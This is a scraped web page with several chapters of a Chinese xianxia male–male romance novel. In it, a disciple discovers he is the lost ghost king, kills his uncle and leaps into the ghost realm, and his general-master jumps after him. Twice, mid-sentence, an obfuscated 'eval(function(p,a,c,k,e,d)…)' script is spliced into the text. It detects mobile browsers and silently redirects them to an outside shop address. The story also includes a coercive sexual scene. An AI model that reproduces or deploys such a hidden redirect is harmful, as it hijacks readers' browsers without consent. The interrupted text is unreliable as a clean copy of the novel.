“你在说什么?”九摇皱眉,他就不明白了,他把九幽从小当成祖宗一样的供着养着到现在,怎么可以转手就成为别人家的? “将军,你别再骗自己了,我是什么?我是墙上的挂画吗?是桌案上的磨台吗?还是挂衣服的架子?那些东西你要是不喜欢随时可以换掉,我也可以被替代掉,毕竟我只是大殿里不起眼的一个物件摆设——师……师尊?” 九摇把九幽现在说的话全当做酒后的胡言乱语。这将军行事作风历来简单粗暴,他直接把九幽扛起来,话都不带多说一句的。 青君默默让了个位置出来,心想这九摇带自己徒儿回去的方式还挺别致。 “下次再来……玩。”青君话还没说完,就被九摇瞪了一眼,挠挠自己的脑袋,悻悻道,“下下次也行。” (二) 九幽就被九摇这么一路扛回去了,任凭他怎么挣扎,说什么,九摇一路都没搭理他。 刚从常盛眼皮子底下溜出来的栖零刚好撞见这一幕,也只能默默给九幽祈福了。 直到回到了自己的房间,九幽的脚才落地,仍有些惊魂未定。 “你自己好好反省一下你今天说的那些话,到底是该说还是不该说。” 九幽红着眼抬头望着九摇,“我今天有哪一句是说错了的吗?” 九摇知道现在不是对九幽发火的时候,明明是自己从小养到大的孩子,怎会在这时候长歪了。 “那你的意思是,你今天说的每一句都是真心?” “不然将军以为是什么?我说过,只要是将军不要我了,我绝不会缠着将军。” “我什么时候说过不要你!我确实因为一些事而忽略了你,也任你这般胡闹了,你还要怎样!” “既然将军从一开始就有这般责任在身,又为何要去挖空心思的养一个徒弟,到最后还不是无暇顾及了放在一旁。将军收我时,是拿来当消遣的,还是一时兴起?” 九摇气结,今天的心情被毁的一塌糊涂,对九幽更是无可奈何,“……你自己好好反思。” “那将军把我带回来的意义何在?就只是为了把我带回来吗?带回来干什么,看家吗?将军是把我当宠物养了吧,可这偌大的将军府里,就养我一个根本就不够啊。”九幽看着他又要离去,下次又不知道是什么时候才能看见了,也急了眼。 “够了!”九摇吼他,“你还要这样到何时?是我对你还不够好吗?九幽,你说你字字句句都是真心,那我就问你,是我哪里对不起你了?” “将军没有任何对不起我的地方。”九幽被他吼的一愣。小时候不高兴了就知道对着九摇哭,现在长大了,凡事都得权衡一个度了,“只是,将军这么忙,就不要再收徒弟了。” 九幽艰难的起身,站稳身子就要往外走。 (三) “你要去哪儿!”九摇把他抓住,“你要闹到何时?” “将军只是觉得我在胡闹吗?” “你这不是胡闹是什么?” 九幽看见了桌子上九摇带回来的蜜糖,心里一下子被触动,仿佛被羽毛轻轻挠了一下,轻轻笑了一下,“将军,了事阁有什么是我不能知道,要让将军也亲自跑一趟?” “什么?” 九幽拿起一颗蜜糖喂到了九摇嘴边,若是以前,九摇早就张嘴接过了,可不知为何,现在却不行了。 “将军身上的味道,到过哪儿我都能闻到。我也有听将军的话,去了了事阁我什么也没打听,不过是将军不信我,偏要劳烦自己一趟。”九幽自己吃下了这颗蜜糖。 九幽反手将九摇制服住,而九摇根本就没想过九幽会对他动手,猝不及防的撞到了桌角。 九幽粗暴的吻住了九摇,最后那颗糖,还是跑到了九摇嘴里。 “我那么听话,将军给我亲一下也没什么吧?况且,那天也是将军先亲我的,这也算是给将军的回应了。” 九摇扶住桌延,他在自己的徒儿面前,可真是一点大将军的威风都拿不出来,他把那颗糖生生咽下去了,耳朵红的滴血,“……放肆!” “将军亲我的时候,有没有想这么多呢?” “……”何止没想过,他根本就是认为九幽那时已经是醉倒过去了没有意识才那样的。 “将军刚才是磕着碰着哪里了?”九幽逼近他,一月不见,他已经比九摇高一点了,在这身高的施压下,连九摇自己都是没想到的,九幽伸手揽住他,“将军,可疼?” 九摇伸手抵住九幽的胸膛以免他再进一步。 九幽看着他,暧昧的笑了一下,偏偏就在这时换了称呼,“师尊,接下来的事,只要你说一个不字,徒儿就停下来,好不好?” 九摇无处闪躲,一猜便知这些东西一定又是在清绝那儿学的,“九幽,你敢。” 九幽也完全不在怕的,“师尊要是觉得疼了,可以抱着徒儿。” 九幽将他大腿一抬,九摇的脚腕上多了一串铃响,九摇一听声音,就知道是地缚铃。 …… “师尊,你什么事都宠着徒儿,把徒儿都宠坏了,不知道徒儿的这点坏,师尊承受得起吗?” 九摇咬紧牙关,不让自己发出任何声音。 九幽把九摇腰间的羽环取了下来,总感觉它缺了一块。以前他不在意,也觉得这东西带在身上娘唧唧的,最后他发现,除了他和梨花,每个人身上都有这羽环,他甚至问了栖零,栖零只能告诉他,这羽环每个神仙都有。 九摇见九幽拿着羽环分了心,有些在意,主动伸手抱住了他,九幽的神思果然被拉回来,把羽环放在一旁,对着九摇笑,捏住了九摇的脸,“师尊笑的时候,这两边会陷下去,可好看了。” 九摇撇过头,回避了九幽露骨的目光。 “所以师尊还不对徒儿笑笑吗?” “……” “师尊是见着徒儿笑不出来吗?” “……” “既然这样,那师尊就不要看着徒儿了。” 九摇听见那轻薄的霓裳衣裳被撕碎的声音,自己眼前被罩上一片朦胧。 …… 九摇有些喘不过气,抓着九幽的衣袖拧成了一团。 “我现在不想叫你师尊了,可以叫你阿摇吗?”在持续了很久的喘息声中后,九幽问他。 九摇抿着微肿的红唇,不知说什么,现在说什么都显得暧昧。 “算了,不叫阿摇。”九幽道,“随意一个亲近的人,都可以唤你一声阿摇,那我便唤你小九,好不好?” “……” “这样,你不高兴的时候,就当我在唤我自己,自娱自乐罢了。” (四) 第二天九幽起了个大早。说起是大早,只是一夜没睡罢了。 他坐在床沿,看着九摇的睡颜许久,独自把衣裳穿好,捡起了一地的碎布。 等收拾好后,他就站在了大殿外等,没站多久,果然,常盛就出现了。 常盛每天早晨都会来找九摇一起结伴去朝会。 “常盛将军。”九幽乖乖的打了声招呼。 常盛走近了才发现是九幽,未曾想,这么久不见这小鬼王,竟已经有了九摇的神韵,就连身上的苦味也变得如出一辙。 “怎么是你,你师尊呢?” “师尊还在睡觉,他让我今日告诉常盛将军,他这一月都去不了朝上了。” “哦?”常盛显然不信,“那你师尊现在何处,带我去见他。” “师尊在我房内。”九幽笑,“师尊说要罚我,亲自看着我,所以就不去朝上了。” “你房间?”常盛半眯着眼,“在你房间干什么?” 九幽奇怪道,“当然是睡觉。昨日师尊把我从青君那儿抓回来,同我讲了一晚上的道理,叫我切记不要再贪酒误了事,所以才会留在我房中。” 昨日确实许多仙子看见九摇把自己徒儿从酿酒殿扛回了家。 常盛审视九幽,也丝毫不见他撒谎的心虚,但他是从一开始就看不起九幽身份的人,所以不管他说的是真的假的,他都不信。 “带我去见你师尊。” 九幽依旧从容道,“师尊还未起床,那就只好让常盛将军在这里站着等了,我这就去叫师尊。” 常盛啧了一声。 (五) 九幽把九摇叫醒,后者还处于一片凌乱中,看着这已经发生的一切,并且那小没良心的依旧在他身边,现在却乖的出奇。 “师尊,常盛将军现在正在外面等你。” 九摇一愣,竟把这事也忘了。他并非是一个拖沓的人,只是早出晚归,每天出去的时候就喜欢在九幽房外呆会儿再走,所以之后常盛总和他结伴催他。 “我已经和他说了师尊不去朝上了,并且接下来的一月里都不会去。” 九摇蹙眉,“什么?” “师尊,你若是不亲自看着徒儿,徒儿管不了自己的双腿。除非师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990892|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尊舍得打折,不然徒儿还是会到处乱跑。”说罢,九幽还低头看着自己的双腿,仿佛认定了九摇会把他打折一样。 九摇揉了揉自己的眉心,疲倦道,“去我房内把我衣裳拿来。” “是,师尊。” 九摇看他的模样,典型的事后卖乖。 九幽坐在凳子上看着九摇把衣服穿好再到出去,拿了一颗桌上的蜜糖,卡擦卡擦的咬碎,只是觉得,这糖再甜,都苦不过九摇身上的味道。 (六) 九幽坐在房中等,桌上零零散散的糖已经被他吃完了,他觉得九摇不会再回来了。 他烦躁的站起身,一脚把凳子踢开,只觉胸中堵着一口气,咽不下去也吐不快,就这样硬憋着,他自己觉得难受了,看哪儿都是难受。 他的师尊是将军,他是将军的徒弟,那就也是将军的士兵,他先是士兵,再是徒弟,所以对于就要来说,他从一开始就和那群天兵天将一样,唯一的不同只是因为他的第二身份是徒弟罢了。 徒弟与士兵的差别何在?差别也不大,只是九摇教他们上阵杀敌的阵法与兵法,而九摇还要抽空一点心思来教他习文断字。 这是何等微妙的差距啊。九幽想着,看见了九摇忘记带走的羽环。 (七) 九摇回来了。 还在房间里对着桌子椅子一顿发脾气的九幽看着九摇,连手里的东西都抓不住了。 “又是谁惹你不高兴了?” 九幽看着九摇,有些手足无措,顺势而出便是,“师尊可是忘了自己的羽环?” 九摇一笑,“你不说我都还没记起。” 九摇这一笑,连着九幽呼吸都颤抖了几下,连带着他内心最深处的幻想一起震荡。 九摇在他房内坐下,从怀中拿出一袋蜜糖,还一边说着,“你以前就喜欢吃这个,后来吃的牙疼了,我不要你吃了,你就和我闹,也是这样摔凳子摔椅子。” 九幽扶起一张凳子,坐到九摇身边,“师尊不走了?” “不出去了,就在家里看着你。去把你案前的书拿来。” 一声令下,九幽连气都不带喘的去把书拿来。 “师尊,要笔墨吗?” “嗯。”九摇应道。 九摇在些书中挑挑拣拣,拿出一本,放在了九幽面前,“你今日就抄这一本。” “……” “怎么,我看着你抄,你还在想着怎么从我眼皮子底下溜出去玩?”九摇知道,从小到大,九幽最烦的就是抄书,写着写着字就会跟着心思飘,也正因如此,九摇经常让九幽抄书来集中注意力。 九幽拿起笔,偷看九摇,九摇手里已经拿着一本书。 “师尊,你是将军,我是你的徒儿,你出出征时,我是不是也要跟着?”九幽问他。 九摇放下手里的书,他因为九幽的注视,硬是一个字都没看进去,他已经许久没有这么心慌过了,要知道,他这可是在骗九幽,若不是今日常盛一见他就是劈头盖脸的一句色令智昏,他恐怕还不知道这小祖宗对他做了什么,但他还是顶着脖子上的吻痕去了闹市。 可他又不得不骗九幽,只要鱼渊一除,在这个世间最后可以证明山暝存在的人消失了,山暝才是真正的消失,九幽才会成为真正的九幽。 其实从一开始,只要他听常盛的,让九幽一开始就知道自己的身份,也不会变成这样。可就算让九幽知道了,谁又能保证,九幽不会与他这个覆灭鬼界的将军两相芥蒂,这样,帝君就有了个鬼界余孽的理由将九幽杀死。 他这样一步错,步步错的走到如今,已经是不可挽回了,还不如放手一搏。 见九摇迟迟不回应,九幽又道,“小九?” “……胡闹。”九摇道,又重新拿起了自己的书掩饰,“——你若想跟着,便随我一起。” 九摇却无比期望九幽能拒绝,只要他肯拒绝,九摇现在就可以去跪着求帝君,求他放过九幽,拿他的命换也好,把九幽关进天牢也好,求他不要让九幽手染血亲的鲜血。 “我当然要跟着将军。”九幽毫不犹豫道。 九摇心中的大石落入深潭,却未掀起任何波涛,俨然已经成为一滩死水。 九摇深叹一口气。 (八) 九幽开始犯困了,看着书上的字都变成了小人儿了走来走去的眼花缭乱。 九摇不动声色的观察他,觉得九幽依旧是以前那个踮着脚要他抱的九幽。 九幽的脑袋一点点的沉下去,眼见就要额头马上就要碰到桌子了,九摇轻咳了一声。 “师尊……”九幽揉着眼睛道。 九摇刚想教育几句,谁知九幽又道,“徒儿一夜未休,现在好困。” 听他这话,倒是让人觉得昨夜里委屈的是他了。 “那你去睡会儿吧。” 九幽却满怀期待的看着他了。 “怎……怎么了?”九摇心里有些犯怵。 “不能抱着师尊睡吗?没有师尊,徒儿睡不着。” “胡……” 九摇还没说完,九幽就拿走了他手上的书,把他熟轻熟路的抱了起来。 “一直没告诉师尊,师尊的书拿反了。” 就像是心里那点小心思被发现了,九摇面上一红。 (九) 九幽照着白莲池里的白莲在九摇的靴子上绣了一朵,即使模样再丑,也有长袍遮住,所以九幽觉得,穿在脚上也不会丢人。 (十) 鱼渊的这一生都是为了鬼界。 他的前半生兢兢业业辅佐自己的兄长,后半生都在复仇与寻找山暝。 山暝是他心中最大的悲痛。他翻遍了人间与鬼界,真应该来天上找找的。 16. 偿还人间久久天(四) (一) 鬼界攻上来那天,人间黑云压城,神域下血海一片,如云卷云舒,掀起的血雾一波接一波。 那是鬼界生灵天生自带的死亡气息。 九幽就站在与九摇不远处,身旁是栖零。这是他第一次看见血海,红光映照在他的瞳孔中,他不知为何,有些不舒服,连唇齿间都是血腥味。 “怎么了?”栖零问他。 “不舒服。”九幽稳定自己的心神。 “是害怕了吗?”如若是害怕,并不是不能理解,毕竟栖零也是第二次见到此情此景。 “不是,是……恶心。”九幽皱眉,这感觉,就是恶心。 栖零鼻子动了动,觉得是九幽在神域里娇养惯了,闻到这气味也难免不适,“习惯就好了。” “嗯。”九幽点头。 (二) 鱼渊就站在最前面,面向九摇。 “神域的九摇将军,好久不见?”鱼渊挑衅得偏头,“可还记得我?” “……自然记得。”九摇心思不在,身旁的常盛提醒了他才回答道。 “昔日的一战,你取走了我兄长性命,拿下骁勇这一称呼,这份殊荣戴了这么久,可觉得腻味了?” “……” “当初你害的我鬼界生灵涂炭,兄长妻离子散,最后魂灭天地,用他性命换来的头衔,你承受得起?!”鱼渊恶狠狠道。 “……”九摇却想起了站在不远处的九幽, 常盛嗤笑,“这一切都是仇池战败的结果,战场赌的就是生死与冤报,你今日前来,是为了送死?” “对,还有你,常盛,我们从前交过手,但是并没有分出胜负。” “若非当时是你拦下我,那时风水师已然得救。” “风水师……”鱼渊脸上出现了回忆的神情,他能在这场战役中出现如此放松的神情,俨然已不打算回去了,“风水师当真是一位极好的神明啊,只是可惜是你们帝君的兄弟。当初兄长视他为棋友,是世间难逢的知己,最后还不是一剑破膛从此消散,就当是为我的兄长陪葬了。” “当初的鬼王和风水师,原来还有这一层关系……”栖零皱眉,看着眼下的局势对自家完全不利,鱼渊此次一来分明就是势如破竹,不想回去的,也只有他罢了。 九幽看着自己的师尊,咽下了心中的恶气。 大战一触即发,鱼渊的目的很明显——杀了九摇。 他不要命的出剑,赌上自己的性命去赌自己的每一剑能否刺中九摇。他不怕败,在他们鬼界,成王败寇已是兵家常事,他只有不服,只有复仇。 九摇挡下他的攻击,只守不攻,根本就出不了剑,这对双方的体能消耗都特别大,而他也必须全神贯注的集中在鱼渊的剑上,眼前已是目眩神迷,只要被鱼渊攻破一道防守,他都会落下风。 嘶喊声不断,那些刺破胸膛,划破喉哽的声音在九幽耳边此起不觉,所有人的命都落到了对方手中的剑下成为亡魂,九幽难掩心悸,在这片血泊中,始终有什么在与他产生共鸣。 他分心一时,被一剑划破了左手臂,一时间血流不止。 九摇像是与他感应,伤痛相连,左手失守瞬间,被鱼渊逼退。 “九摇,我的兄长一直等着你,我会亲自领着你,去见我兄长,让兄长看见我是如何为他报仇的。你们其实一直都说的没错,当初风水师是不该死,该死的一直都是你们的帝君,而风水师,正是替帝君死的。” 眼见鱼渊手起刀落,九幽捂住伤口,闪身到他们面前。 (三) 九幽挡下了鱼渊一剑,差点又震碎了自己的右臂。 九摇心中大恐,害怕鱼渊再次起势,将九幽护到自己身后。 “九幽!九幽!你怎么跑这儿来了,你挡在我前面做什么!不是让你在后面,你为什么要过来!”九摇不敢去捂住九幽的伤口,害怕这样会更刺痛他。 九幽顶着满身的血迹,捂着自己的心口,强撑着自己的身体站稳。 鱼渊半眯着眼,嘲讽道,“你们神域里还真是从来不缺挡刀的人,这样一个小神仙也敢挡在你面前,真不怕被我一刀给震碎了,最后连魂魄都不知道会飘到哪里去——” 鱼渊话音未落,对上了九幽凶狠的目光。 “千刀万刀我都挡得住,还会怕你这一下?”九幽咬牙道。 “你——” 鱼渊瞳孔骤缩,刚才出剑之时连气都没喘的这么急的鱼渊收回剑,现在呼吸却一下子急促起来,“你是谁?” “退到我身后。”九摇挡在九幽的面前,手心冒出冷汗,这是他生平第一次怯场。 “他是谁!”鱼渊急切的想要知道答案,逼问九摇。九幽的眼睛和仇池实在是太像了,像到他有一瞬间以为这就是已经魂灭的仇池。 九幽被他这一吼莫名其妙,不知道这鬼界余党要干什么。 “你不说是吧,你就是心虚了对吧!你们这□□佞小人——”鱼渊眼里布满了红血丝,他仅为了这双眼,寻遍百年,除却地下人间,从未想过会在天上。 山暝在任何时候就是一直折磨着他的执念。 他挥舞起自己的剑,势必要与九摇有一场生死之分。这一剑,九摇接与不接,都是死路一条,这是鬼界要与对方同归于尽的招法,极少被采用,因为此招法承担的不仅仅只有死亡,就连当初身处绝境的鬼王也没用过,而鱼渊此次一来,就是为了这一剑。 而九摇不能躲,他只能选择接下一剑,只因九幽就在他身后,他没得选也不能躲。 而九幽看见常盛突然蓄力朝自己而来,不管为何,他都不能躲,他躲了这一掌就落到九摇身上了。 “师尊!” 常盛调动周身灵力,终于抓住了机会,找准时机,一掌狠狠地劈向了九幽后背。 小鬼王活的现在的用法,不就是这样的吗? “九幽!” 九幽被这一掌震的心肝俱颤,连魂魄都差点被震飞出去。 眼见就要替九摇挡下这致命一击,鱼渊收回了剑。 (四) 鱼渊却收回了剑,还未伤敌一毫,就已经先自损八千。 他只是觉得像,他就不能下手。他最疼爱的山暝只养到了两岁就因为战乱走失,如今却只能因为一个不确定的身份拔剑相仇,他宁可无功而返的失败,也不要错杀。 九幽还记得,九摇告诉过他,日后面对鱼渊,不必心慈手软,挫骨扬灰即可。 “常盛!你在干什么,你这是在干什么!他是九幽,他可是九幽啊!” “事到如今你还在骗自己!他不替你挡下这一剑,你现在已经死了!鱼渊若非不是已经认出来了,又怎会收手!” “我死了就是死了!九幽死了怎么办?九幽为什么要承担这些!他只是我的徒弟,他做错什么了!他明明什么都不知道,什么都没错!” “那怪就只能怪他生错了!你说他什么都没做是吧?那就让他自认倒霉,投错了胎,反正他不管是谁,现在的结果都会是一样的。” 九幽耳朵嗡鸣,一时间听不清他们在吵什么,只是觉得后背一阵酥麻,就好像一只只蚂蚁爬在自己的后背,最后开始撕心裂肺的疼。 鱼渊还想要站起来,看着常盛,连眼睛里藏着掩饰不了的杀心和狠劲。他明白了,他看透了这些虚伪神仙的不择手段,他们这是在利用山暝,他们就是为了利用山暝好来打败自己而已。 九幽强迫自己站起身,看见鱼渊就要站起来了,以为他还不死心。在所有人都以为九幽已经倒下的时候却站了起来,一剑刺穿了鱼渊的心。 鱼渊防不胜防,吐出了自己身上一半的血,不敢相信的看着九幽。 自己千辛万苦要找的小鬼王给了自己最后一击,他却还是从怀里掏出了沾满了血的锦帕,他是那样小心翼翼的把锦帕打开,里面包裹的金锁未染任何血迹。 九幽心里疼。 “……你要是……现在,除了那一掌,还能感到其他的疼的话……你这一身的仙气,连金锁都分不出你是谁了。”鱼渊气若游丝,知道自己已是大限将至,却还是尽可能用着理解的语气告诉他。 金锁。九幽挣扎着想要起来——是九摇过来抱起了他。鬼界生灵出生便有的金锁。 “你的金锁,在我今日一来,就已经身显异样……我刚才问你,你是谁……现在,能告诉我了吗?”鱼渊只能这样问九幽了,他要死了,但只要山暝还没醒过来,眼前的这位神明这辈子都会活在仇人的地盘里。 “师尊,他说的都是真的吗?我知道师尊不会骗我,师尊是不忍,因为师尊说什么我就信什么,觉得我太可怜了,所以从不骗我。”九幽看着鱼渊眼里的光一点点黯淡下去。 鱼渊笑的凄楚,“你叫他……师尊?” 九摇的答案都在无言中。 鱼渊狼狈的站起来,吃力的疯笑起来,“你们就是凡间供奉的神明,是所有人都信仰的神明。就是你们,把我的小鬼王带走,才让我怎找都找不到。” “你们才是豺狼虎豹,衣冠禽兽!都以为这天外天是神仙极乐之地,全是放屁!” 鱼渊再次把金锁递到九幽面前,气喘吁吁的对他说,“你敢接吗,我的——小鬼王。” 到底他还没被人唤过一声山暝。 鱼渊在慢慢的消散,他身上所有的部件都正在以最脆弱的方式化为纸屑自燃在空中。 九幽接过了金锁,身前皆为虚空。 鱼渊一走,这世间,就真的无人再唤小鬼王了。 (五) 他终于知道为什么九摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990893|193699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是要那么小心翼翼了,他终于开始明白为什么每个神仙都有的羽环他没有——因为他拥有的从来都只是金锁,终于知道了了事阁里藏着的是九摇不要他知道的前尘,知道了常盛为什么从一开始就那么厌恶他,知道了梨花为何找到了他——他身上残存的只是风水师的气息,是风水师在鬼界时,他就已经染上的,以微弱的方式继续存在在他身上,也就只有梨花还能在极苦之下闻出来了找到他了。 (六) 金锁不骗鬼,九摇的眼睛更不会骗他。 他转头时就明白了九摇眼睛里承载的东西。 鱼渊消亡,金锁落地,九幽的脚步开始不受控制的往后倒退,不知道这样是想从头开始,还是骗自己,只要自己不停的后退,这一切都还没发生。 “九幽……不要再退了,九幽,你回来好不好,到师尊这儿来。”九摇望着他,张开怀抱。 九幽摇头,“将军,不知道为什么,我到现在依旧没有要怪你一句的意思……可能因为我一时间还不能信,也可能因为你是我的师尊,我尊你为长,所以不敢吧。”手上鱼渊的血还在他指尖滴落,小鬼王一生未杀生,杀的第一个就是自己的亲叔叔,下手狠毒,余地不留。 “九幽,你可以怪我,你也可以恨我,你别再退了,你会掉下去的,下面是——” “鬼界。我不是属于那里吗?将军,哪里是最肮脏的?是鬼界吗?是神域吗?还是……在你心里的我?” 九幽为了逃离这个地方,长恨台上纵身一跃,鬼王费尽心思为他取的一个好名字,九幽到死都没用上。 九摇:“九幽!!!” 栖零:“九幽!” 九摇连他的衣角都没抓住。栖零看见九幽掉下去,本能的也是把他抓回来,被一个小鬼抓了空隙,是常盛把他拉回来,背上中了一剑。 他出生时人间大雪,失去山暝这个名字时鬼界血流成河。跌落神坛时,血洗仙骨。 (七) 九摇捡起九幽留下的金锁他像是被人剜了心骨,随着九幽的一跳,自己的心也跟着去了。 常盛也没打算安慰他什么,无知觉的带着后背血淋淋的伤口,这是给这场战争胜利的最好结局了,鬼界已经完败了。 “鬼界败下来是迟早的事,他这个小鬼王,也总算是可以回家了呢,你也不用再当一个好好师尊的样子了,他这样的徒弟,你还可以收其他更多更好的——” 是啊,九幽这是回家了,鬼界才是他的家。 “你只不过是杀了他的父母心怀愧疚当初才收养他的罢了,现在愧疚没了,一切都没了,你是不是也该清醒过来了?他一个鬼界余孽,当真有那么好让你牵肠挂肚……九摇?九摇,九摇!” 可我只有九幽这么一个徒弟。 常盛话音未落,九摇就随着他的徒儿一跃而去了。 (八) 鬼界乃是九幽之地。 (九) 神明坠落,脱仙身,洗白骨。 那些死后怨灵个个都在把九幽往深处拽,后来红莲池上又掀起一阵水花,九摇也落进来了。 这滋味比青君的烈酒烧喉还要难受,甚至有一瞬间你是感受不到痛楚的,失去了知觉,后来就又像是做了一场梦醒来的人一样,大汗淋漓惊魂未定,还是感觉不到痛楚,最后甚至忘记,再然后——就像一滴水滴落在身上,却穿透了自己的身体,后来两滴水滴,三滴水滴……变得千疮百孔。 九幽是这样的感觉,甚至九摇也是,他还要比九幽更疼,因为他是真正的神明。 九幽觉得他们没再把自己往下拽了,却又像是舍不得他一样的没撒手,甚至出现了一个单薄的力气想要把他推回去,可光是触碰他,已经是力所能及了。 (十) 有人抓住他了,要把他带回去,九幽不想要这个人是九摇,也不想再回神域。 (十一) 九摇的身上就好像被谁东一块西一块的撕下了皮肉,有好几块还吊着,有些地方却见了血骨。 这位将军把九幽抱在怀里,在空荡荡的鬼界像个孩子一样毫无顾忌的声嘶力竭,号啕大哭。 他的九幽不愿醒来了,不想睁眼见他了,更不会再认他这个师尊了。他从来就不爱束缚,这一生都是为了神域,到现在还被勒的喘不上气。 他有自己的私心,即使铁链还挂在自己的脖子上,他还是舍不得九幽走。 于是,这位连九幽一哭就会手足无措心慌意乱的九摇将军,为了留住九幽,今日却用一支枯木狠心在九幽的手心刻下一个束字,鲜血淋漓,剥肉见骨。 常盛来寻他的时候,他已经把九幽藏到了游人畔,看似是给了九幽入轮回的机会拜托今生的这一切,这一个束字分明就已经断了明明可以离开的九幽的所有的念想。 17. 偿还人间久久天(五) (一) 九摇回到神域,已经是一副残体,他的心头肉跳下了神坛,被割舍到只剩下一块毒瘤日日折磨他百年。 他的挚友八佰前来探望他时,他已经是个半死不活的模样。 八佰是神域里唯一的红发,他的地位与青君一样,都是六重上仙,却也因为自己的一头漂亮红发,人前人后经常被议论,若非是与九摇交好,他恐怕就已是上一个九幽。 “你现在的这幅模样,只能靠神域的灵气吊着,一旦离开了神域,你知道对你来说是怎样的后果。” “你明知道红莲池对除了鬼界生灵之外都是剜骨刀,九幽尽管掉下去了,也不会没命,你偏偏要自己也跳下去自找罪受。” “那他就会永远被禁锢在红莲池底。”九摇听不得八佰这样说,“我不去把他拉回来,谁还会在意他是不是会被留在那里?” 八佰一时间哑然,“我没让你不要九幽,我也不忍九幽留在那里受折磨,只是你就不能先为自己着想吗?你的徒弟他就只会在那里,等你冷静了,想到了万全的办法再去救他也不会太迟。” “我随九幽一起死了才是万全之法。”九摇决绝道,“我在自己大殿里舒服的想着办法却又无计可施的时候九幽却在受着烈狱折磨,就已经不是万全。神域里的那些神仙,自从知道了九幽的身份,谁不是拍手称快说一句死得好?谁又不是只顾着感叹神域里竟然会藏着一个鬼王!” 八佰知道再说无益,刻意避开了这个话题,不再与他谈论这个,“总之,你保重自己,最好让自己身子恢复再去想你的徒儿吧。你这身体,去了鬼界就是自寻死路,别到时候九幽还没找到,你就先他一步了,就看你是不是真的忍心,留他一人受欺负去。” (二) 两日后,九摇去找了三千。 “将军,来了?我这里可没什么好茶好酒的招待你。”三千笑眯眯道。 “……我就在这里待会儿。”九摇疲倦道。 三千伫立看着他许久,一眼就看穿了他此次目的,“你无论在这里待多久,我都不会告诉你的。你来找我还不如去找青君,我记得他是最喜欢你徒弟的,我也在这里多嘴一句,不要去鬼界白白送死。” “我只是想问你,九幽现在在哪里?” “望舒殿的仙君有一云镜可以观人间的景象,常明娘娘的朱辞镜可以看到鬼界的景象,不知将军来找我又是为了什么?” 九摇莫言。 “我知道,现在神域里都在讨论你徒弟的身份,也都在夸赞你的这个计划高明,竟然让鬼界血亲相残,一开始连我都分不清真假了,将军到底是有意为之,还是不得不?” “你明明是知道的。” “就是因为我知道我才问你的,像我这样,知道所有人的秘密却要为所有人保守秘密的滋味,可真的不好受,你就不能讨好我一下吗?” 了事阁三千,无所不知。 “你在我这滞留的时间,已经可以劝动青君动摇了。” 九摇一愣,看向了三千,与他俯首,“多谢三千上仙。” “谢我作何?”三千故作诧异道。 九摇病弱的脸上浮现出牵强的笑容。 (三) 九摇来到酿酒殿外,不知何故踌躇了许久,才缓慢推开酿酒殿的大门。 如今再次来到这里的时候,竟然会觉得九幽在这里的影子会比九罗将军府更多些。 “你把我这儿当做是你将军府一样随意进出吗?”青君只是穿着一件薄薄的青衫,连里衣都没有穿,拿着一壶酒像是在等九摇。 “你大门未锁,不就是给我留一道门。” “我那门是给小人留的。”青君此刻就像是一个吵架必须要赢的顽童,随便说个理也要让自己占上风。 “我就是那小人。”九摇是知道他的,顺着他道。 青君指着他鼻子,“虚情假意。你肚子里端的那些水,远没有我的酒水透彻。” 九摇跟着青君去到了酒坊,青君一边把酒倒,嘴里开始念念叨叨,“这表面上风平浪静的,背地里不知道有多少双眼睛盯着你,现在你跑我这儿来了,不知道又有多少双眼睛要盯上我喽。” “你向来闲散,便是要有盯着你,那也必然也是一游手好闲之人,如今神域里内外都忙,是没有人愿意盯着你的。” “……”青君胸口闷着一口气,就是不吐不快,“我早就说了,你徒弟不要了就给我,你偏要把人往断头台逼。” 这回九摇倒是沉默了许久,“给我斟一杯酒吧。” 青君自然是毫不客气的给他倒了一杯,可九摇最后却直接略过他手中的酒杯,拿起酒壶就是猛灌。 “你不高兴了就浪费我的美酒撒气,我自己却没有任何办法。”虽是这样说,青君却不再是往常那样心疼的想着自己的酒,此刻还有别的事占据心头。 这位骁勇将军一不小心红了眼眶,亮晶晶的眼里装满了整片星云。 “拿一壶回去,赏赐自己一场梦吧。” “真的能梦见?” “嗯。”青君点头。 “我不要梦,我只要九幽。” 青君笑他,“无理之求。” (四) “我害怕九幽……”九摇迷迷糊糊的说道。 “嗯?”青君没有听清。 “不要我了。”他低着头的模样就像是在认错。 “若是你那徒弟都不肯要你了,还有谁会和你作伴?”青君还以为他要说什么,一听是这个,毫不在意的说。 今日九摇是尝到这酒水的滋味了,也大概明白了为什么九幽总是往这里跑了,想到了自己,要是九幽也不理自己了,他大概也会来青君这儿醉生梦死的等九幽接他回去,不过现在是不可能了。 “放下吧。虽然确实可惜,但是——九幽跳下去了。” 九摇一愣,青君这话听起来太刺耳了,大概像是接近了颠茄的飞鸟,被迷的神志不清的时候却又突然被一场大风刮过吹醒,可九摇就是不信邪,那里面藏着的甜头,他偏要尝一口。 “你说,为什么九幽偏要跳下去,为什么就是不肯听我好好说呢。” “可能是突然觉得你的一个眼神,或是一个动作,一句话,让他感到了欺骗吧。”青君摇晃着酒杯。 “可我从未骗他欺他。” “可你瞒他。” “可我并不是有意瞒他。” “那你这是无意之举?你没有在他问起过的时候逃避吗。”青君把九摇手中的酒壶拿过,换了杯浅念,“你尝尝这个。” 